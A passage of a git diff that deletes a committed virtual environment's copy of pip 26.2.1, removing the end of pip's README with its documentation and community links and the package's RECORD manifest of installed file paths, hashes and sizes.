-Pip is the `package installer`_ for Python. You can use pip to install packages from the `Python Package Index`_ and other indexes.
-
-Please take a look at our documentation for how to install and use pip:
-
-* `Installation`_
-* `Usage`_
-
-We release updates regularly, with a new version every 3 months. Find more details in our documentation:
-
-* `Release notes`_
-* `Release process`_
-
-If you find bugs, need help, or want to talk to the developers, please use our mailing lists or chat rooms:
-
-* `Issue tracking`_
-* `Discourse channel`_
-* `User IRC`_
-
-If you want to get involved, head over to GitHub to get the source code, look at our development documentation and feel free to jump on the developer mailing lists and chat rooms:
-
-* `GitHub page`_
-* `Development documentation`_
-* `Development IRC`_
-
-Code of Conduct
----------------
-
-Everyone interacting in the pip project's codebases, issue trackers, chat
-rooms, and mailing lists is expected to follow the `PSF Code of Conduct`_.
-
-.. _package installer: https://packaging.python.org/guides/tool-recommendations/
-.. _Python Package Index: https://pypi.org
-.. _Installation: https://pip.pypa.io/en/stable/installation/
-.. _Usage: https://pip.pypa.io/en/stable/
-.. _Release notes: https://pip.pypa.io/en/stable/news.html
-.. _Release process: https://pip.pypa.io/en/latest/development/release-process/
-.. _GitHub page: https://github.com/pypa/pip
-.. _Development documentation: https://pip.pypa.io/en/latest/development
-.. _Issue tracking: https://github.com/pypa/pip/issues
-.. _Discourse channel: https://discuss.python.org/c/packaging
-.. _User IRC: https://kiwiirc.com/nextclient/#ircs://irc.libera.chat:+6697/pypa
-.. _Development IRC: https://kiwiirc.com/nextclient/#ircs://irc.libera.chat:+6697/pypa-dev
-.. _PSF Code of Conduct: https://github.com/pypa/.github/blob/main/CODE_OF_CONDUCT.md
-
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/RECORD b/venv/Lib/site-packages/pip-26.2.1.dist-info/RECORD
deleted file mode 100644
index fa5d23b3a39afb056b5228d663a5cb0d1087e52c..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/RECORD
+++ /dev/null
@@ -1,885 +0,0 @@
-../../Scripts/pip.exe,sha256=USgArn2GYkrSSY9HC8P0FvfZce-BR8MSW59zaHjCV-s,108401
-../../Scripts/pip3.14.exe,sha256=USgArn2GYkrSSY9HC8P0FvfZce-BR8MSW59zaHjCV-s,108401
-../../Scripts/pip3.exe,sha256=USgArn2GYkrSSY9HC8P0FvfZce-BR8MSW59zaHjCV-s,108401
-pip-26.2.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4
-pip-26.2.1.dist-info/METADATA,sha256=OlYQBYIoQfLEX0QvbHp1BRcsjDdsn-J02HbIrJEpaMs,4617
-pip-26.2.1.dist-info/RECORD,,
-pip-26.2.1.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
-pip-26.2.1.dist-info/WHEEL,sha256=G2gURzTEtmeR8nrdXUJfNiB3VYVxigPQ-bEQujpNiNs,82
-pip-26.2.1.dist-info/entry_points.txt,sha256=Vhf8s0IYgX37mtd4vGL73BPcxdKnqeCFPzB5-d30x8o,84
-pip-26.2.1.dist-info/licenses/AUTHORS.txt,sha256=TrH7FwXi3viY6BvLoZw6rIBiDSe6NWnWpt97RinRtcI,12139
-pip-26.2.1.dist-info/licenses/LICENSE.txt,sha256=Y0MApmnUmurmWxLGxIySTFGkzfPR_whtw0VtyLyqIQQ,1093
-pip-26.2.1.dist-info/licenses/src/pip/_vendor/cachecontrol/LICENSE.txt,sha256=hu7uh74qQ_P_H1ZJb0UfaSQ5JvAl_tuwM2ZsMExMFhs,558
-pip-26.2.1.dist-info/licenses/src/pip/_vendor/certifi/LICENSE,sha256=6TcW2mucDVpKHfYP5pWzcPBpVgPSH2-D8FPkLPwQyvc,989
-pip-26.2.1.dist-info/licenses/src/pip/_vendor/distlib/LICENSE.txt,sha256=gI4QyKarjesUn_mz-xn0R6gICUYG1xKpylf-rTVSWZ0,14531
-pip-26.2.1.dist-info/licenses/src/pip/_vendor/distro/LICENSE,sha256=y16Ofl9KOYjhBjwULGDcLfdWBfTEZRXnduOspt-XbhQ,11325
-pip-26.2.1.dist-info/licenses/src/pip/_vendor/idna/LICENSE.md,sha256=GppPDj1HmickDd1ZqRN6ZqtKD539yMphiMwL_YUYfwQ,1541
-pip-26.2.1.dist-info/licenses/src/pip/_vendor/msgpack/COPYING,sha256=SS3tuoXaWHL3jmCRvNH-pHTWYNNay03ulkuKqz8AdCc,614
-pip-26.2.1.dist-info/licenses/src/pip/_vendor/packaging/LICENSE,sha256=ytHvW9NA1z4HS6YU0m996spceUDD2MNIUuZcSQlobEg,197
-pip-26.2.1.dist-info/licenses/src/pip/_vendor/packaging/LICENSE.APACHE,sha256=DVQuDIgE45qn836wDaWnYhSdxoLXgpRRKH4RuTjpRZQ,10174
-pip-26.2.1.dist-info/licenses/src/pip/_vendor/packaging/LICENSE.BSD,sha256=tw5-m3QvHMb5SLNMFqo5_-zpQZY2S8iP8NIYDwAo-sU,1344
-pip-26.2.1.dist-info/licenses/src/pip/_vendor/pkg_resources/LICENSE,sha256=htoPAa6uRjSKPD1GUZXcHOzN55956HdppkuNoEsqR0E,1023
-pip-26.2.1.dist-info/licenses/src/pip/_vendor/platformdirs/LICENSE,sha256=KeD9YukphQ6G6yjD_czwzv30-pSHkBHP-z0NS-1tTbY,1089
-pip-26.2.1.dist-info/licenses/src/pip/_vendor/pygments/LICENSE,sha256=qdZvHVJt8C4p3Oc0NtNOVuhjL0bCdbvf_HBWnogvnxc,1331
-pip-26.2.1.dist-info/licenses/src/pip/_vendor/pyproject_hooks/LICENSE,sha256=GyKwSbUmfW38I6Z79KhNjsBLn9-xpR02DkK0NCyLQVQ,1081
-pip-26.2.1.dist-info/licenses/src/pip/_vendor/requests/LICENSE,sha256=CeipvOyAZxBGUsFoaFqwkx54aPnIKEtm9a5u2uXxEws,10142
-pip-26.2.1.dist-info/licenses/src/pip/_vendor/resolvelib/LICENSE,sha256=84j9OMrRMRLB3A9mm76A5_hFQe26-3LzAw0sp2QsPJ0,751
-pip-26.2.1.dist-info/licenses/src/pip/_vendor/rich/LICENSE,sha256=3u18F6QxgVgZCj6iOcyHmlpQJxzruYrnAl9I--WNyhU,1056
-pip-26.2.1.dist-info/licenses/src/pip/_vendor/tomli/LICENSE,sha256=uAgWsNUwuKzLTCIReDeQmEpuO2GSLCte6S8zcqsnQv4,1072
-pip-26.2.1.dist-info/licenses/src/pip/_vendor/tomli_w/LICENSE,sha256=uAgWsNUwuKzLTCIReDeQmEpuO2GSLCte6S8zcqsnQv4,1072
-pip-26.2.1.dist-info/licenses/src/pip/_vendor/truststore/LICENSE,sha256=M757fo-k_Rmxdg4ajtimaL2rhSyRtpLdQUJLy3Jan8o,1086
-pip-26.2.1.dist-info/licenses/src/pip/_vendor/urllib3/LICENSE.txt,sha256=Ew46ZNX91dCWp1JpRjSn2d8oRGnehuVzIQAmgEHj1oY,1093
-pip/__init__.py,sha256=BKp2zqsPQ0HiktquNWN_L4cYsYMxPML7WI0TBMucBEM,355
-pip/__main__.py,sha256=rOZRtrXjDBzY24niaxTnd9ZHHWL7B0EawVdLoJ3nI6c,874
-pip/__pip-runner__.py,sha256=720Mt6h07Uce52v80EOF__JYauoLw9b7Pfs_5B91isg,1451
-pip/__pycache__/__init__.cpython-314.pyc,,
-pip/__pycache__/__main__.cpython-314.pyc,,
-pip/__pycache__/__pip-runner__.cpython-314.pyc,,
-pip/_internal/__init__.py,sha256=S7i9Dn9aSZS0MG-2Wrve3dV9TImPzvQn5jjhp9t_uf0,511
-pip/_internal/__pycache__/__init__.cpython-314.pyc,,
-pip/_internal/__pycache__/cache.cpython-314.pyc,,
-pip/_internal/__pycache__/configuration.cpython-314.pyc,,
-pip/_internal/__pycache__/exceptions.cpython-314.pyc,,
-pip/_internal/__pycache__/main.cpython-314.pyc,,
-pip/_internal/__pycache__/pyproject.cpython-314.pyc,,
-pip/_internal/__pycache__/self_outdated_check.cpython-314.pyc,,
-pip/_internal/__pycache__/wheel_builder.cpython-314.pyc,,
-pip/_internal/build_env/__init__.py,sha256=AI5x2Kfv1exG1IbsNHuIV1agqNgstTj_LWpbwWLq8ok,788
-pip/_internal/build_env/__pycache__/__init__.cpython-314.pyc,,
-pip/_internal/build_env/__pycache__/base.cpython-314.pyc,,
-pip/_internal/build_env/__pycache__/installer.cpython-314.pyc,,
-pip/_internal/build_env/__pycache__/noop.cpython-314.pyc,,
-pip/_internal/build_env/__pycache__/venv.cpython-314.pyc,,
-pip/_internal/build_env/__pycache__/virtual.cpython-314.pyc,,
-pip/_internal/build_env/base.py,sha256=7RHW5X-QSVWHeK7_5Uei9Gbq0q1pAXHF9tq7Mj3wtTs,3440
-pip/_internal/build_env/installer.py,sha256=eMUytQCdBiQ9TgkaGeTAzq_IVBqLHyD9OJ_kNTIjjcM,13046
-pip/_internal/build_env/noop.py,sha256=FXk9ZFTTN0s1cecZE6ycN2ZznBh75Ok2I3QXF8HTo6I,1001
-pip/_internal/build_env/venv.py,sha256=PsDl0PpmB9jRNaIawhy6Xk9R8WcYoAogLS2afmZ9AQc,5692
-pip/_internal/build_env/virtual.py,sha256=HsVRzzhgBGyy06DZBoO0PW_3kIEacy9S4TI5H1q72Hk,4858
-pip/_internal/cache.py,sha256=eqMQVfpD8x7GcCO0V0z73mnjPIuSapMFoQ_WRE7iLY8,10457
-pip/_internal/cli/__init__.py,sha256=Iqg_tKA771XuMO1P4t_sDHnSKPzkUb9D0DqunAmw_ko,131
-pip/_internal/cli/__pycache__/__init__.cpython-314.pyc,,
-pip/_internal/cli/__pycache__/autocompletion.cpython-314.pyc,,
-pip/_internal/cli/__pycache__/base_command.cpython-314.pyc,,
-pip/_internal/cli/__pycache__/cmdoptions.cpython-314.pyc,,
-pip/_internal/cli/__pycache__/command_context.cpython-314.pyc,,
-pip/_internal/cli/__pycache__/index_command.cpython-314.pyc,,
-pip/_internal/cli/__pycache__/main.cpython-314.pyc,,
-pip/_internal/cli/__pycache__/main_parser.cpython-314.pyc,,
-pip/_internal/cli/__pycache__/parser.cpython-314.pyc,,
-pip/_internal/cli/__pycache__/progress_bars.cpython-314.pyc,,
-pip/_internal/cli/__pycache__/req_command.cpython-314.pyc,,
-pip/_internal/cli/__pycache__/spinners.cpython-314.pyc,,
-pip/_internal/cli/__pycache__/status_codes.cpython-314.pyc,,
-pip/_internal/cli/autocompletion.py,sha256=gFtmiFhHccizyx4JPJnEKik-uftU7kwrUvm72cSFPHI,7353
-pip/_internal/cli/base_command.py,sha256=yF5_mQEIrLG2G0nvymZS0nLhiDg4B0T89W5iX78H558,9431
-pip/_internal/cli/cmdoptions.py,sha256=aBNxaIy4YV4AfjAqrG8RoZFcv7kwWzRAzg5mnZmOGDw,41180
-pip/_internal/cli/command_context.py,sha256=kmu3EWZbfBega1oDamnGJTA_UaejhIQNuMj2CVmMXu0,817
-pip/_internal/cli/index_command.py,sha256=_Qzc9oHnButVvD0wxYcHfe0uJZqRWOtIg5HaQpnSNeM,7504
-pip/_internal/cli/main.py,sha256=O10guzBqF2MykAaZYo6sua097dXqC3nozKodtTOpHDc,3209
-pip/_internal/cli/main_parser.py,sha256=7PhEfZ8AXiWUpTfB_KJMngI2sF8XIXl52alI1LZ_e_M,4368
-pip/_internal/cli/parser.py,sha256=WvRHuI2MdFp187BWrY_D17L02asq9jmCnng81af52SQ,14147
-pip/_internal/cli/progress_bars.py,sha256=13U3AY3DYwdEIwPYLtUn5B4QcpJUApLWCkfJ-u_PqzY,4706
-pip/_internal/cli/req_command.py,sha256=wW-mRcPqPczeqxp9SQ_yh3YfrRAYAlEAZextlLcDbUc,18952
-pip/_internal/cli/spinners.py,sha256=EJzZIZNyUtJljp3-WjcsyIrqxW-HUsfWzhuW84n_Tqw,7362
-pip/_internal/cli/status_codes.py,sha256=9QhNe6hHqsiw5y5wufiNKBOgJjV0HF3I3P2K21nj-OM,136
-pip/_internal/commands/__init__.py,sha256=aNeCbQurGWihfhQq7BqaLXHqWDQ0i3I04OS7kxK6plQ,4026
-pip/_internal/commands/__pycache__/__init__.cpython-314.pyc,,
-pip/_internal/commands/__pycache__/cache.cpython-314.pyc,,
-pip/_internal/commands/__pycache__/check.cpython-314.pyc,,
-pip/_internal/commands/__pycache__/completion.cpython-314.pyc,,
-pip/_internal/commands/__pycache__/configuration.cpython-314.pyc,,
-pip/_internal/commands/__pycache__/debug.cpython-314.pyc,,
-pip/_internal/commands/__pycache__/download.cpython-314.pyc,,
-pip/_internal/commands/__pycache__/freeze.cpython-314.pyc,,
-pip/_internal/commands/__pycache__/hash.cpython-314.pyc,,
-pip/_internal/commands/__pycache__/help.cpython-314.pyc,,
-pip/_internal/commands/__pycache__/index.cpython-314.pyc,,
-pip/_internal/commands/__pycache__/inspect.cpython-314.pyc,,
-pip/_internal/commands/__pycache__/install.cpython-314.pyc,,
-pip/_internal/commands/__pycache__/list.cpython-314.pyc,,
-pip/_internal/commands/__pycache__/lock.cpython-314.pyc,,
-pip/_internal/commands/__pycache__/search.cpython-314.pyc,,
-pip/_internal/commands/__pycache__/show.cpython-314.pyc,,
-pip/_internal/commands/__pycache__/uninstall.cpython-314.pyc,,
-pip/_internal/commands/__pycache__/wheel.cpython-314.pyc,,
-pip/_internal/commands/cache.py,sha256=YLZrLWNvChl0pImBkoSZGGD3fb2MfdYGpYF4J0aQs6w,9251
-pip/_internal/commands/check.py,sha256=hVFBQezQ3zj4EydoWbFQj_afPUppMt7r9JPAlY22U6Y,2244
-pip/_internal/commands/completion.py,sha256=LjvRIZ6QUiDXJL3IOMFeD-_J97HfjMGgEk0j2tWGu1U,4565
-pip/_internal/commands/configuration.py,sha256=5M6KM30G3i6oMHAsVUSWP4E93cSSJQoJ6evURC754E8,10132
-pip/_internal/commands/debug.py,sha256=tCWUOEyz2HdlLGTvzNqSZIAJQkQYCy58zBTdfIWyzSo,6556
-pip/_internal/commands/download.py,sha256=cuXEj9PmoZ4kCsxm_BaZ_OkmIsV_gluLiOVSuOO2MS0,5404
-pip/_internal/commands/freeze.py,sha256=Lg8EOokxnRZrwdLWJgLpBWxNUt7-HrkWlEC05e-vBww,3100
-pip/_internal/commands/hash.py,sha256=GO9pRN3wXC2kQaovK57TaLYBMc3IltOH92O6QEw6YE0,1679
-pip/_internal/commands/help.py,sha256=Bz3LcjNQXkz4Cu__pL4CZ86o4-HNLZj1NZWdlJhjuu0,1108
-pip/_internal/commands/index.py,sha256=ny_hGzXuZHzjsq4CIJh_6YfZGVJm7G7LqQQdKTibJ_Q,5608
-pip/_internal/commands/inspect.py,sha256=iiAM-JuL_Z1-QP34cgAloZPSr50Mc7wAvuFDRzHQrQk,3185
-pip/_internal/commands/install.py,sha256=DREULA-TGbCKhqBBLkrbDKztyQ557QbDe6ZJUYuh2yk,33761
-pip/_internal/commands/list.py,sha256=W-FyxXTrHJhqRl4ZoqFp68_5GAwC9GYuY6fhFTJdHzU,13908
-pip/_internal/commands/lock.py,sha256=VhpNRWItLdqywSOIqXg3vuIyf59cozh09-Z6Z9cMiLM,5987
-pip/_internal/commands/search.py,sha256=zbMsX_YASj6kXA6XIBgTDv0bGK51xG-CV3IynZJcE-c,5782
-pip/_internal/commands/show.py,sha256=91_XljhCHWyCNfoFBa4XdacbumQgoNbhkcHHk_gcW9Y,8247
-pip/_internal/commands/uninstall.py,sha256=CsOihqvb6ZA6O67L70oXeoLHeOfNzMM88H9g-9aocgw,3868
-pip/_internal/commands/wheel.py,sha256=5m3NvVKatqLDOVoC_4WOFiDDrvQRjB52jkbvpbZApug,6187
-pip/_internal/configuration.py,sha256=0eEdh1xTlOHhoCrTtwHYM5DEj7BbTmhIaCaNNj3srBM,14562
-pip/_internal/distributions/__init__.py,sha256=Hq6kt6gXBgjNit5hTTWLAzeCNOKoB-N0pGYSqehrli8,858
-pip/_internal/distributions/__pycache__/__init__.cpython-314.pyc,,
-pip/_internal/distributions/__pycache__/base.cpython-314.pyc,,
-pip/_internal/distributions/__pycache__/installed.cpython-314.pyc,,
-pip/_internal/distributions/__pycache__/sdist.cpython-314.pyc,,
-pip/_internal/distributions/__pycache__/wheel.cpython-314.pyc,,
-pip/_internal/distributions/base.py,sha256=BjYazg2EhbEgrO1W_JD6jEZIDVlUpA_WZkqU-NvCBkQ,1907
-pip/_internal/distributions/installed.py,sha256=QPDhCqc-GTGiWZAAOFaVKMETg1m_kYuf6RBO9ZZlDqY,994
-pip/_internal/distributions/sdist.py,sha256=hof85VbuXa_NydvFZj6zOtnxuPY15tsuCJVirLuNT-U,7783
-pip/_internal/distributions/wheel.py,sha256=qOMVYzKT3tJsO0QundLjADcFiW_RODui4K51XRqMru8,1429
-pip/_internal/exceptions.py,sha256=Zdu17pVbD1eI_yjg52Zd0ygAWDy8LtXS1Atfvn1pPts,38302
-pip/_internal/index/__init__.py,sha256=tzwMH_fhQeubwMqHdSivasg1cRgTSbNg2CiMVnzMmyU,29
-pip/_internal/index/__pycache__/__init__.cpython-314.pyc,,
-pip/_internal/index/__pycache__/collector.cpython-314.pyc,,
-pip/_internal/index/__pycache__/package_finder.cpython-314.pyc,,
-pip/_internal/index/__pycache__/sources.cpython-314.pyc,,
-pip/_internal/index/collector.py,sha256=bu-NBVToIeyYEbcv0_gtInAxsCK3E0yI6Je6yxAwE5k,16578
-pip/_internal/index/package_finder.py,sha256=RoWK5rPkOcmOdiWEXhnk9aaFDgaj4QEE70FeQokqZf4,43149
-pip/_internal/index/sources.py,sha256=fqqVli93Lr-HNk-wFD67yyfZzS6WeDkSZGv1RFw63QE,8621
-pip/_internal/locations/__init__.py,sha256=iP9yVZn_4iPuNcaUNh2A_vJLcvUZ-8y4zvKLDVEqaM0,14022
-pip/_internal/locations/__pycache__/__init__.cpython-314.pyc,,
-pip/_internal/locations/__pycache__/_distutils.cpython-314.pyc,,
-pip/_internal/locations/__pycache__/_sysconfig.cpython-314.pyc,,
-pip/_internal/locations/__pycache__/base.cpython-314.pyc,,
-pip/_internal/locations/_distutils.py,sha256=jpFj4V00rD9IR3vA9TqrGkwcdNVFc58LsChZavge9JY,5975
-pip/_internal/locations/_sysconfig.py,sha256=HoZYQ1sVQD3IRpQCp4TpdTQLNrDFFzI9zRjXrTYnJWY,7788
-pip/_internal/locations/base.py,sha256=5mVcXh9jnSepEO25aG2U-qZWguzeoOPIbT0mRiBDDME,2548
-pip/_internal/main.py,sha256=1cHqjsfFCrMFf3B5twzocxTJUdHMLoXUpy5lJoFqUi8,338
-pip/_internal/metadata/__init__.py,sha256=vp-JAxiWg_-l5F8AT0Jcey72uUnh8CDwwol9-KktHZ8,5824
-pip/_internal/metadata/__pycache__/__init__.cpython-314.pyc,,
-pip/_internal/metadata/__pycache__/_json.cpython-314.pyc,,
-pip/_internal/metadata/__pycache__/base.cpython-314.pyc,,
-pip/_internal/metadata/__pycache__/pkg_resources.cpython-314.pyc,,
-pip/_internal/metadata/_json.py,sha256=hNvnMHOXLAyNlzirWhPL9Nx2CvCqa1iRma6Osq1YfV8,2711
-pip/_internal/metadata/base.py,sha256=_o9lMyHmia4Ea9fhceyB9rp3jUUU8k7FmlhXB7N9_tM,25642
-pip/_internal/metadata/importlib/__init__.py,sha256=jUUidoxnHcfITHHaAWG1G2i5fdBYklv_uJcjo2x7VYE,135
-pip/_internal/metadata/importlib/__pycache__/__init__.cpython-314.pyc,,
-pip/_internal/metadata/importlib/__pycache__/_compat.cpython-314.pyc,,
-pip/_internal/metadata/importlib/__pycache__/_dists.cpython-314.pyc,,
-pip/_internal/metadata/importlib/__pycache__/_envs.cpython-314.pyc,,
-pip/_internal/metadata/importlib/_compat.py,sha256=sneVh4_6WxQZK4ljdl3ylVuP-q0ttSqbgl9mWt0HnOg,2804
-pip/_internal/metadata/importlib/_dists.py,sha256=akX5xiLB_3dvbeb2gHL8i7wORi01_Cnty0HnKFQAF0Y,8717
-pip/_internal/metadata/importlib/_envs.py,sha256=ulCRDEXYeinwS5AXL-Quj7C4Erk20kHhIwBmE2P3BYA,5590
-pip/_internal/metadata/pkg_resources.py,sha256=NO76ZrfR2-LKJTyaXrmQoGhmJMArALvacrlZHViSDT8,10544
-pip/_internal/models/__init__.py,sha256=AjmCEBxX_MH9f_jVjIGNCFJKYCYeSEe18yyvNx4uRKQ,62
-pip/_internal/models/__pycache__/__init__.cpython-314.pyc,,
-pip/_internal/models/__pycache__/candidate.cpython-314.pyc,,
-pip/_internal/models/__pycache__/direct_url.cpython-314.pyc,,
-pip/_internal/models/__pycache__/format_control.cpython-314.pyc,,
-pip/_internal/models/__pycache__/index.cpython-314.pyc,,
-pip/_internal/models/__pycache__/installation_report.cpython-314.pyc,,
-pip/_internal/models/__pycache__/link.cpython-314.pyc,,
-pip/_internal/models/__pycache__/release_control.cpython-314.pyc,,
-pip/_internal/models/__pycache__/scheme.cpython-314.pyc,,
-pip/_internal/models/__pycache__/search_scope.cpython-314.pyc,,
-pip/_internal/models/__pycache__/selection_prefs.cpython-314.pyc,,
-pip/_internal/models/__pycache__/target_python.cpython-314.pyc,,
-pip/_internal/models/__pycache__/wheel.cpython-314.pyc,,
-pip/_internal/models/candidate.py,sha256=MvANZJiHkw6Y4T-oYSM8710G6yYB4_DwofoD7BAmrnM,824
-pip/_internal/models/direct_url.py,sha256=9RS3TQAXknwLd8JOOZWlbBV6WZFs9qn-YAYk0VQ8R_Q,944
-pip/_internal/models/format_control.py,sha256=PwemYG1L27BM0f1KP61rm24wShENFyxqlD1TWu34alc,2471
-pip/_internal/models/index.py,sha256=tYnL8oxGi4aSNWur0mG8DAP7rC6yuha_MwJO8xw0crI,1030
-pip/_internal/models/installation_report.py,sha256=U4MlXWFB-8ev_yheuMO9T2m_y5b4C-hOzVaoHVobl38,2846
-pip/_internal/models/link.py,sha256=SSXtFO3YAreUYY2R0PqtKXbAe1vV9Bqt5r_qPN218zE,23474
-pip/_internal/models/release_control.py,sha256=31Jh-ZHsTIBZLe-7uPNoYLiRSWXAjEI1jGNxwqLKd4A,3365
-pip/_internal/models/scheme.py,sha256=G-O9KElabcXqbPwfE_66lzX5fGahh3Gu6DAkz_9ZhJw,558
-pip/_internal/models/search_scope.py,sha256=_i-Gj_w_FwZAvTs7WhjslBDD70J-8hmIdjXByI8uEZQ,4461
-pip/_internal/models/selection_prefs.py,sha256=0teekwSVxW5MOk0WPG5Novw5q_XJjxijcd75kZO6E9g,1503
-pip/_internal/models/target_python.py,sha256=I0eFS-eia3kwhrOvgsphFZtNAB2IwXZ9Sr9fp6IjBP4,4243
-pip/_internal/models/wheel.py,sha256=1SdfDvN7ALTsbyZ9EOsNy1GPirP1n6EjHyzPrZyLSh8,2920
-pip/_internal/network/__init__.py,sha256=FMy06P__y6jMjUc8z3ZcQdKF-pmZ2zM14_vBeHPGhUI,49
-pip/_internal/network/__pycache__/__init__.cpython-314.pyc,,
-pip/_internal/network/__pycache__/auth.cpython-314.pyc,,
-pip/_internal/network/__pycache__/cache.cpython-314.pyc,,
-pip/_internal/network/__pycache__/download.cpython-314.pyc,,
-pip/_internal/network/__pycache__/lazy_wheel.cpython-314.pyc,,
-pip/_internal/network/__pycache__/session.cpython-314.pyc,,
-pip/_internal/network/__pycache__/utils.cpython-314.pyc,,
-pip/_internal/network/__pycache__/xmlrpc.cpython-314.pyc,,
-pip/_internal/network/auth.py,sha256=TBpwe7zcaPuBdBldjAOZhf20lmkacpIgGA-AqLcr8eU,21545
-pip/_internal/network/cache.py,sha256=6DlMXJ7pb35M1vgtTK0-L_kiHJFxf7t9zrfeJ9vqO34,4862
-pip/_internal/network/download.py,sha256=SVrmKao567lfs8RaCdyuOitzIRCZp9Rf3RcDj_o8vkg,14618
-pip/_internal/network/lazy_wheel.py,sha256=y9gVksdJCSjnLfYzs_m3DYUAtl3hc_k-xFPDBd9DgOs,7646
-pip/_internal/network/session.py,sha256=2KqMv5Hu_PFRYRkDBhSjIbqbsBp0lXv4tqoLKnM2K6o,19924
-pip/_internal/network/utils.py,sha256=OTA1vwFtu2Ee1zWrqLysBpRQGTjvXxCJJUTEqy7hNcA,8128
-pip/_internal/network/xmlrpc.py,sha256=_-Rnk3vOff8uF9hAGmT6SLALflY1gMBcbGwS12fb_Y4,1830
-pip/_internal/operations/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
-pip/_internal/operations/__pycache__/__init__.cpython-314.pyc,,
-pip/_internal/operations/__pycache__/check.cpython-314.pyc,,
-pip/_internal/operations/__pycache__/freeze.cpython-314.pyc,,
-pip/_internal/operations/__pycache__/prepare.cpython-314.pyc,,
-pip/_internal/operations/build/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
-pip/_internal/operations/build/__pycache__/__init__.cpython-314.pyc,,
-pip/_internal/operations/build/__pycache__/build_tracker.cpython-314.pyc,,
-pip/_internal/operations/build/__pycache__/metadata.cpython-314.pyc,,
-pip/_internal/operations/build/__pycache__/metadata_editable.cpython-314.pyc,,
-pip/_internal/operations/build/__pycache__/wheel.cpython-314.pyc,,
-pip/_internal/operations/build/__pycache__/wheel_editable.cpython-314.pyc,,
-pip/_internal/operations/build/build_tracker.py,sha256=W3b5cmkMWPaE6QIwfzsTayJo7-OlxFHWDxfPuax1KcE,4771
-pip/_internal/operations/build/metadata.py,sha256=INHaeiRfOiLYCXApfDNRo9Cw2xI4VwTc0KItvfdfOjk,1421
-pip/_internal/operations/build/metadata_editable.py,sha256=oWudMsnjy4loO_Jy7g4N9nxsnaEX_iDlVRgCy7pu1rs,1509
-pip/_internal/operations/build/wheel.py,sha256=3bP-nNiJ4S8JvMaBnyessXQUBhxTqt1GBx6DQ1iPJDY,1136
-pip/_internal/operations/build/wheel_editable.py,sha256=q3kfElclM6FutVbFwE87JOTpVWt5ixDf3_UkHAIVfz4,1478
-pip/_internal/operations/check.py,sha256=k7mTjLb5yZbidYw8Nt9vu7_u1L1ekLOzUECeN4qcNsA,5891
-pip/_internal/operations/freeze.py,sha256=PDdY-y_ZtZZJLAKcaWPIGRKAGW7DXR48f0aMRU0j7BA,9854
-pip/_internal/operations/install/__init__.py,sha256=ak-UETcQPKlFZaWoYKWu5QVXbpFBvg0sXc3i0O4vSYY,50
-pip/_internal/operations/install/__pycache__/__init__.cpython-314.pyc,,
-pip/_internal/operations/install/__pycache__/wheel.cpython-314.pyc,,
-pip/_internal/operations/install/wheel.py,sha256=qhFwJSShLm4quY8zIss_t-bff0YV49HTNAKfu4fSpic,29078
-pip/_internal/operations/prepare.py,sha256=zLkVMSDu9cUR0KnDm3bZ3QvIeaErhJKrr109UyDMlKQ,35030
-pip/_internal/pyproject.py,sha256=J-sTWqC-XfsKQgz9m1bypMWZPHItsSHzIN_NWeIRmhM,4555
-pip/_internal/req/__init__.py,sha256=x3uB7ZW-l_MOPm8ldF8Gi0dh5C8W23dB_wOH2NmWpFc,3140
-pip/_internal/req/__pycache__/__init__.cpython-314.pyc,,
-pip/_internal/req/__pycache__/constructors.cpython-314.pyc,,
-pip/_internal/req/__pycache__/pep723.cpython-314.pyc,,
-pip/_internal/req/__pycache__/req_dependency_group.cpython-314.pyc,,
-pip/_internal/req/__pycache__/req_file.cpython-314.pyc,,
-pip/_internal/req/__pycache__/req_install.cpython-314.pyc,,
-pip/_internal/req/__pycache__/req_set.cpython-314.pyc,,
-pip/_internal/req/__pycache__/req_uninstall.cpython-314.pyc,,
-pip/_internal/req/constructors.py,sha256=fwILg3OiIK_f13RUGX5zQyz4YasUMp7MC6u9uPvoGzw,22276
-pip/_internal/req/pep723.py,sha256=JsG1p3CaVcW8cjclD2kDj7d9qtVrNQaevY_UnKh00tk,1242
-pip/_internal/req/req_dependency_group.py,sha256=PrWKtlwI8xbWnWEKjXs9RkrpQx2_h02ABefYT0ZdeQg,3145
-pip/_internal/req/req_file.py,sha256=dmGBSxZ9dj1eOq2NXv94bor0u1n8P4-AvmJL-vYzIsE,20644
-pip/_internal/req/req_install.py,sha256=r289__WNVaTxpRtLFUz3FpNvdGv8yYa87G-QkP5DsJc,32173
-pip/_internal/req/req_set.py,sha256=awkqIXnYA4Prmsj0Qb3zhqdbYUmXd-1o0P-KZ3mvRQs,2828
-pip/_internal/req/req_uninstall.py,sha256=t5HSYuLoLxnF7jrcIBDjTEP-sjjr8O4fZouEqOkVM_c,24276
-pip/_internal/resolution/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
-pip/_internal/resolution/__pycache__/__init__.cpython-314.pyc,,
-pip/_internal/resolution/__pycache__/base.cpython-314.pyc,,
-pip/_internal/resolution/base.py,sha256=J9Fq3kFOjFj9gBShYQtldEFPrRGSWtsp-rO9rIc4W4g,573
-pip/_internal/resolution/legacy/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
-pip/_internal/resolution/legacy/__pycache__/__init__.cpython-314.pyc,,
-pip/_internal/resolution/legacy/__pycache__/resolver.cpython-314.pyc,,
-pip/_internal/resolution/legacy/resolver.py,sha256=2CVLIZLm_nXkfJTt5RKtIbIxvCkn9Gavf4Yp9c1IjDU,24110
-pip/_internal/resolution/resolvelib/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
-pip/_internal/resolution/resolvelib/__pycache__/__init__.cpython-314.pyc,,
-pip/_internal/resolution/resolvelib/__pycache__/base.cpython-314.pyc,,
-pip/_internal/resolution/resolvelib/__pycache__/candidates.cpython-314.pyc,,
-pip/_internal/resolution/resolvelib/__pycache__/factory.cpython-314.pyc,,
-pip/_internal/resolution/resolvelib/__pycache__/found_candidates.cpython-314.pyc,,
